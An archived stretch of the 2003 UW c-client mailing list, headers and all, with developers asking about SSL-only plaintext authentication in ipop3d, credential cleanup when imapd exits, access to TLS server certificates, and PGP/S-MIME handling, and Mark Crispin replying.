12:20:46 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jan 2003 12:20:46 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GKKjTk005611 for ; Thu, 16 Jan 2003 12:20:45 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GKKeeG020089 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Jan 2003 12:20:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0GKI4Db015652; Thu, 16 Jan 2003 12:18:04 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GKEOCK029732 for ; Thu, 16 Jan 2003 12:14:24 -0800 Received: from jimsun.LinxNet.com (jimsun.linxnet.com [64.32.196.134]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GKENHj015969 for ; Thu, 16 Jan 2003 12:14:23 -0800 Received: by jimsun.LinxNet.com (Postfix, from userid 332) id 6588142EB; Thu, 16 Jan 2003 15:14:22 -0500 (EST) Message-Id: <20030116201422.6588142EB@jimsun.LinxNet.com> Date: Thu, 16 Jan 2003 15:14:22 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: jseymour@LinxNet.com (Jim Seymour) To: c-client@u.washington.edu Subject: Re: ipop[23]d and NIS+? X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > [snip] > > If Pegasus is not using SSL or TLS encryption, that is probably the > problem; the default build does not allow plaintext password > authentication except in SSL or TLS encrypted sessions. I was just getting to those bits in the docs/BUILD file. That's most likely it. Thanks. > > If you gave the exact text of the error message from the server, it'd be > possible to determine this for sure. A 'snoop" revealed "-ERR Unknown AUTHORIZATION state command." Is this what you're looking for? I imagine I need to rebuild with "SSLTYPE=none" to "fix" this? Thanks, Jim -- Jim Seymour | PGP Public Key available at: jseymour@LinxNet.com | http://www.uk.pgp.net/pgpnet/pks-commands.html http://jimsun.LinxNet.com | From pinedev@shivax2.cac.washington.edu Thu Jan 16 12:50:24 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jan 2003 12:50:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GKoNTk006883 for ; Thu, 16 Jan 2003 12:50:23 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GKoJ1k007358 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Jan 2003 12:50:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0GKlvjm035598; Thu, 16 Jan 2003 12:47:58 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GKinCK026810 for ; Thu, 16 Jan 2003 12:44:49 -0800 Received: from jimsun.LinxNet.com (jimsun.linxnet.com [64.32.196.134]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GKilHj025662 for ; Thu, 16 Jan 2003 12:44:48 -0800 Received: by jimsun.LinxNet.com (Postfix, from userid 332) id 817C342EB; Thu, 16 Jan 2003 15:44:47 -0500 (EST) Message-Id: <20030116204447.817C342EB@jimsun.LinxNet.com> Date: Thu, 16 Jan 2003 15:44:47 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: jseymour@LinxNet.com (Jim Seymour) To: c-client@u.washington.edu Subject: Re: ipop[23]d and NIS+? X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > > > [snip] > > > > If Pegasus is not using SSL or TLS encryption, that is probably the > > problem; the default build does not allow plaintext password > > authentication except in SSL or TLS encrypted sessions. > > I was just getting to those bits in the docs/BUILD file. That's > most likely it. Thanks. [snip] That was it all right, Mark. Sorry to bother the list with something that was documented :(. And thanks again for the help. Thanks, Jim -- Jim Seymour | PGP Public Key available at: jseymour@LinxNet.com | http://www.uk.pgp.net/pgpnet/pks-commands.html http://jimsun.LinxNet.com | From pinedev@shivax2.cac.washington.edu Fri Jan 17 04:54:29 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jan 2003 04:54:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HCsTTk002586 for ; Fri, 17 Jan 2003 04:54:29 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HCsPeG013181 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Jan 2003 04:54:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0HCrZDb090072; Fri, 17 Jan 2003 04:53:35 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HCowCK043734 for ; Fri, 17 Jan 2003 04:50:59 -0800 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HCostv008879 for ; Fri, 17 Jan 2003 04:50:55 -0800 Received: from leopold.physik.uni-augsburg.de ([137.250.77.29]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.10) id 18ZVxV-000GdY-00 for c-client@u.washington.edu; Fri, 17 Jan 2003 13:50:53 +0100 Received: from dentblanche.Physik.Uni-Augsburg.DE (dentblanche.Physik.Uni-Augsburg.DE [137.250.77.237]) by leopold.Physik.Uni-Augsburg.DE (AIX4.3/8.9.3/8.9.1) with ESMTP id NAA59532 for ; Fri, 17 Jan 2003 13:50:52 +0100 Received: (from ralfu@localhost) by dentblanche.Physik.Uni-Augsburg.DE (AIX4.3/8.9.3/8.9.1) id NAA33516 for c-client@u.washington.edu; Fri, 17 Jan 2003 13:50:50 +0100 Message-Id: <20030117125050.GE32768@physik.uni-augsburg.de> Date: Fri, 17 Jan 2003 13:50:50 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: c-client@u.washington.edu Subject: exit functions Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *18ZVxV-000GdY-00*boS0eKgEH9.* X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=X, Probability=10%, Report="SPAM_PHRASE_00_01, __EVITE_CTYPE" Hello, we would like imapd to run credentials cleanup on exit, so I added exit routines in my ckp_a41.c along the lines in src/osdep/unix/ckp_afs.c and compiled with -Dexit=aix_exit and -D_exit=_aix_exit. However, when imapd handles LOGOUT it seems to never arrive at these functions. Can someone give me a hint how to do this? Kind regards, Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 17 07:00:17 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jan 2003 07:00:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HF0GTk005067 for ; Fri, 17 Jan 2003 07:00:16 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HF06eG015629 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Jan 2003 07:00:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0HExEDb014800; Fri, 17 Jan 2003 06:59:14 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HEurCK014384 for ; Fri, 17 Jan 2003 06:56:53 -0800 Received: from ns.imn.nl (ns.imn.nl [212.206.253.42]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HEuoVa031265 for ; Fri, 17 Jan 2003 06:56:52 -0800 Received: (from fwmaster@localhost) by ns.imn.nl (8.9.1a/8.6.12) id PAA15934 for ; Fri, 17 Jan 2003 15:56:49 +0100 (MET) Received: by ns.imn.nl via smap (V1.3) id sma015599; Fri, 17 Jan 03 15:55:14 +0100 Message-Id: <000b01c2be38$88d435d0$9701a8c0@imnla151> Date: Fri, 17 Jan 2003 15:55:50 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Eric Schreuder" To: Subject: Server certificate MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=XXII, Probability=22%, Report="PRIORITY_NO_NAME, SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY" X-Uwash-Spam: Gauge=III, Probability=3%, Report="USER_AGENT_OE, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_OUTLOOK_IN_MAILER, __HAS_X_MAILER, __HAS_X_PRIORITY" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi list, We have developed a crypto application, which uses c-client for its mail functionality. We want to enable SSL/TLS support for mail. But our app needs to have some kind of control over the quality of the connection. So it does not want to blindly trust the third parties (MS, OpenSSL) trust environment, but wants to check the server certificate itself. Question: is there any functionality in c-client to get to the server certificate that is associated with the SSL/TLS connection? For example to build something like the keylock in browsers (doubleclicking it shows the certificate contents). Regards, Eric Schreuder -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 17 08:49:02 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jan 2003 08:49:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGn2Tk008165 for ; Fri, 17 Jan 2003 08:49:02 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGmxeG018591 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Jan 2003 08:49:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0HGlpjm038260; Fri, 17 Jan 2003 08:47:52 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGjaCK041372 for ; Fri, 17 Jan 2003 08:45:36 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGjWZY022142 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Jan 2003 08:45:33 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGjS7l008172; Fri, 17 Jan 2003 08:45:28 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGjSTZ025379 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Fri, 17 Jan 2003 08:45:28 -0800 Message-Id: Date: Fri, 17 Jan 2003 08:45:28 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Eric Schreuder Cc: c-client@u.washington.edu Subject: Re: Server certificate In-Reply-To: <000b01c2be38$88d435d0$9701a8c0@imnla151> References: <000b01c2be38$88d435d0$9701a8c0@imnla151> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Jan 2003, Eric Schreuder wrote: > Question: is there any functionality in c-client to get to the server > certificate that is associated with the SSL/TLS connection? There is no such functionality in c-client, but it probably would not be hard to add it. You would need to modify the ssl_unix.c for Unix and the corresponding files on Windows to do this. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Jan 17 08:58:14 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jan 2003 08:58:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGwDTk008502 for ; Fri, 17 Jan 2003 08:58:13 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGwB1k004510 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Jan 2003 08:58:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0HGv4jm013572; Fri, 17 Jan 2003 08:57:04 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGtMCK022484 for ; Fri, 17 Jan 2003 08:55:22 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGtFVb025553 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Jan 2003 08:55:15 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGtB7l009664; Fri, 17 Jan 2003 08:55:11 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HGtBTZ025741 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Fri, 17 Jan 2003 08:55:11 -0800 Message-Id: Date: Fri, 17 Jan 2003 08:55:11 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ralf Utermann Cc: c-client@u.washington.edu Subject: Re: exit functions In-Reply-To: <20030117125050.GE32768@physik.uni-augsburg.de> References: <20030117125050.GE32768@physik.uni-augsburg.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Jan 2003, Ralf Utermann wrote: > we would like imapd to run credentials cleanup on exit, so I added > exit routines in my ckp_a41.c > However, when imapd handles LOGOUT it seems to never arrive > at these functions. You'll have to modify imapd.c so that it exits with exit (0) instead of return 0. This will be in the next version. Are you sure that it is safe to do that cleanup? What if there is more than one imapd running logged in as that user? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Jan 17 09:08:32 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jan 2003 09:08:32 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HH8WTk008846 for ; Fri, 17 Jan 2003 09:08:32 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HH8SeG019216 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Jan 2003 09:08:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0HH7a09004650; Fri, 17 Jan 2003 09:07:36 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HH5SCK027522 for ; Fri, 17 Jan 2003 09:05:28 -0800 Received: from rs1.luxsci.com (rs1.luxsci.com [209.61.186.169]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0HH5PAe027826 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Jan 2003 09:05:26 -0800 Received: from rs1.luxsci.com (localhost.localdomain [127.0.0.1]) by rs1.luxsci.com (8.12.6/8.12.6) with ESMTP id h0HH7lW6023769 for ; Fri, 17 Jan 2003 11:07:48 -0600 Received: from localhost (kangas@localhost) by rs1.luxsci.com (8.12.6/8.12.6/Submit) with ESMTP id h0HH7kA8023766 for ; Fri, 17 Jan 2003 12:07:47 -0500 Message-Id: Date: Fri, 17 Jan 2003 12:07:46 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Erik Kangas, Ph.D." To: c-client@u.washington.edu Subject: Incorporating PGP or S/MIME into or along-side c-client MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: rs1.luxsci.com: kangas owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have been using c-client very successfully for a long time. Now, I am thinking about supporting secure email via PGP and S/MIME. The obvious thing to do is have c-client give me the full raw message body and then pass this off to gpg or openssl for processing. But then I am left still needing to parse MIME parts out (and to do it really right, these may contain additional signed/encrypted messages). It would be nice to be able to pass the output of PGP or S/MIME back into c-client to use its native mime parsing. Otherwise, we would need to have a second external mime parser for these types of messages. Has anyone done anything like this? I am using Perl for the most part (with Mail::Cclient v1.7), any suggestions as to the most efficient way to tackle this problem? Thank you, -Erik Kangas -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Erik Kangas, Ph.D. --- President of Lux Scientiae, Incorporated Lux Scientiae: 1-800-441-6612 46 Central Street FAX: 1-413-332-0598 Somerville, Massachusetts Cell: 1-617-596-9558 02143, United States of America AOL Messenger: "luxsci" kangas@luxsci.com --- http://luxsci.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 21 08:05:44 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Jan 2003 08:05:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LG5iTk010319 for ; Tue, 21 Jan 2003 08:05:44 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LG5e1k026245 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 21 Jan 2003 08:05:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0LG4Rll027504; Tue, 21 Jan 2003 08:04:27 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LFxoCK030796 for ; Tue, 21 Jan 2003 07:59:50 -0800 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LFxkQ6029639 for ; Tue, 21 Jan 2003 07:59:47 -0800 Received: from leopold.physik.uni-augsburg.de ([137.250.77.29]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.10) id 18b0oT-0009bS-00; Tue, 21 Jan 2003 16:59:45 +0100 Received: from dentblanche.Physik.Uni-Augsburg.DE (dentblanche.Physik.Uni-Augsburg.DE [137.250.77.237]) by leopold.Physik.Uni-Augsburg.DE (AIX4.3/8.9.3/8.9.1) with ESMTP id QAA45696; Tue, 21 Jan 2003 16:59:43 +0100 Received: (from ralfu@localhost) by dentblanche.Physik.Uni-Augsburg.DE (AIX4.3/8.9.3/8.9.1) id QAA21188; Tue, 21 Jan 2003 16:59:42 +0100 Message-Id: <20030121155942.GB24986@physik.uni-augsburg.de> Date: Tue, 21 Jan 2003 16:59:42 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: exit functions In-Reply-To: References: <20030117125050.GE32768@physik.uni-augsburg.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *18b0oT-0009bS-00*hZ89Sgct5k6* X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, Jan 17, 2003 at 08:55:11AM -0800, Mark Crispin wrote: > On Fri, 17 Jan 2003, Ralf Utermann wrote: > > we would like imapd to run credentials cleanup on exit, so I added > > exit routines in my ckp_a41.c > > However, when imapd handles LOGOUT it seems to never arrive > > at these functions. > > You'll have to modify imapd.c so that it exits with exit (0) instead of > return 0. This will be in the next version. Hello Mark, thanks for your answer which helped me to get a first patch working for me! I changed imapd.c in 2 places and compiled with -Dexit=... ; could you comment on whether this is ok and sufficient? I changed the second return to an exit(1), just a guess ... diff imapd.c imapd.c.orig 1165c1165 < exit(0); /* all done */ --- > return 0; /* all done */ 1189c1189 < exit(1); --- > return; First tests went ok, however I certainly cannot test all possible situations. Normal logout and waiting for autologout do work correct. > > Are you sure that it is safe to do that cleanup? What if there is more > than one imapd running logged in as that user? Yes, I guess it's safe; is it correct, that every imapd is spawned via inetd, never forked from some 'master' imapd process? It looks like this and first tests with Mozilla's (annoying) default of 5 connections show that it works. Essentially every new imapd gets a new set of credential files (because it goes again through the AIX authenticate() routine in ckp_a41.c) and thus on logout my new exit routine checks for these and only removes this imapd's credentials. Mark, I would really appreciate further comments on this. Kind regards, Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 From pinedev@shivax2.cac.washington.edu Tue Jan 21 10:59:43 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Jan 2003 10:59:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LIxgTk018165 for ; Tue, 21 Jan 2003 10:59:42 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LIxZeG013649 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 21 Jan 2003 10:59:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0LIwall032282; Tue, 21 Jan 2003 10:58:36 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LIsUCK011022 for ; Tue, 21 Jan 2003 10:54:30 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LIsRVb007496 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 21 Jan 2003 10:54:27 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LIsNhi017250; Tue, 21 Jan 2003 10:54:23 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0LIsNTZ004141 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 21 Jan 2003 10:54:23 -0800 Message-Id: Date: Tue, 21 Jan 2003 10:52:24 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ralf Utermann Cc: c-client@u.washington.edu Subject: Re: exit functions In-Reply-To: <20030121155942.GB24986@physik.uni-augsburg.de> References: <20030117125050.GE32768@physik.uni-augsburg.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Jan 2003, Ralf Utermann wrote: > 1189c1189 > < exit(1); > --- > > return; I'm curious -- why did you need this? Was it to suppress the logout event in the syslog? Or did you want a separate non-zero exit status for the ping_mailbox() failure case? > Yes, I guess it's safe; is it correct, that every imapd is spawned > via inetd, never forked from some 'master' imapd process? It looks > like this and first tests with Mozilla's (annoying) default of 5 connections > show that it works. Essentially every new imapd gets a new set > of credential files (because it goes again through the AIX authenticate() > routine in ckp_a41.c) and thus on logout my new exit routine checks for > these and only removes this imapd's credentials. > > Mark, I would really appreciate further comments on this. I don't have any particular comments positive or negative, mainly because I don't know the reason for wanting to do this. If it's doing what you want, then it looks right. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Jan 22 05:29:29 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Jan 2003 05:29:29 -0800 (PST) 